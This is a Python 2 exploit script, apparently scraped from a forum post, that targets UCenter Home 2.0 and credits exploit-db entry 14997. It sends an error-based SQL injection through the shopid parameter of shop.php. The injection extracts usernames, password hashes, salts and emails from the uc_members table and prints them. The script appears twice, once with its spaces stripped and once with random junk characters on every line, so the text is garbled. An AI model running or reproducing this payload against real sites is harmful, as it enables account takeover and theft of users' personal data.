#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl& A, K" [! ~! B4 D( w4 R3 m! ]6 k
0 o. B6 t/ v& l. Z% {5 M! g# v
. [2 O+ O' h6 J#!/usr/bin/env python
9 z- b, p( R. t) B' F
: |* g$ C% K+ U; E0 C; {# d: Ximport sys
6 q& s1 U, P) A! A. Kimport urllib2
' @! l+ v8 ~7 a3 y: Z3 W8 ximport re
# K% G! K; }' h
( c, C+ H, ?6 m& bdef info(): 9 ]. R* |) `& d+ {8 i
print 'From:http://www.exploit-db.com/exploits/14997/' ) A; K, w% c+ n7 V5 o1 M1 `
print 'http://www.hake.cc/Web_loudong/'
; @0 f4 r3 d9 l+ S print 'changed:qiaoy' U4 v& m4 y$ I7 x* [$ J1 L3 T! E) b
print 'exp:'
( j$ Z3 b3 l3 V# G$ y. D7 R9 U print ' ./UCenter_Home_2.0.py site' % H/ Y2 _* u9 Z% {" f1 ^
- c6 f- E/ u* D" m1 _! K) g
def main():
! P+ Z% i$ U! t3 ^* V if len(sys.argv) != 2: 5 M" p5 [/ c+ O/ L
info()
. u& _7 z" I. x3 q& c else: C1 S( a; y' R( }1 d9 Y6 a
site = sys.argv[1]
' N: b0 l( Q8 r' S if site[0:7] == 'http://':
1 B8 J4 L: m) Y) l* I! S2 h5 m sitesite =site 7 } q5 l1 R& s+ D3 }& {' p! L
elif site[0:8] == 'https://': , ^9 W O& S; q+ s& M5 L2 A
sitesite = site
. I, Q0 r% K3 Y* F, ?3 i% l( S% I else: . @, Q, A; U# e9 N$ G8 }& B# e
site = 'http://'+site
! q* z) S% J2 m2 F% H try: : ]$ @' _- a9 E! g2 `6 j
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' ) B o. Y1 u7 M' X5 T* r; v. |, I, a. I
Value = urllib2.urlopen(url).read()
; S. J+ F+ a$ `+ y Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 9 ~$ I, J2 Z1 U+ |7 j w
hacked = Msg.split(':')
; w- ~3 x5 U5 ~7 Z, B& k5 } print 'Name: '+hacked[1] " o6 P- U/ s. _* w* K2 G
print 'Passwd: '+hacked[2]
# v% u% r4 R/ T+ e0 ? print 'salt: '+hacked[3] * d" F. ~# G* p' R0 }/ e
print 'email: '+hacked[4] 0 C! a# a$ j( ~( S9 n, ?% s
except:
/ B1 c( N8 h$ {$ z$ Y print 'Sorry,I can\'t work............'
, X$ T& b" R' `- I) j 7 h E' J/ I) u: A9 C
if __name__ == '__main__':
, e' t9 {# v9 |8 Y$ v6 b main() |